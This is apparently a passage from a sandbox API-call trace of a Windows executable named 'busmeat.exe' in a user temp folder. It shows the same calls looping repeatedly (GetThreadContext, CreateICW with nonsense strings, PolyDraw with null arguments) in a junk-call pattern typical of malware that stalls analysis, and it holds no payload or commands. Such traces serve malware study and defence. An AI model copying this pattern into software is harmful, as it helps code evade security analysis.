	[0066.257] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.257] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.257] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.257] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.257] GetConsoleCP () returned 0x0
	[0066.257] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.258] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.258] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.258] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.258] GetConsoleCP () returned 0x0
	[0066.258] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 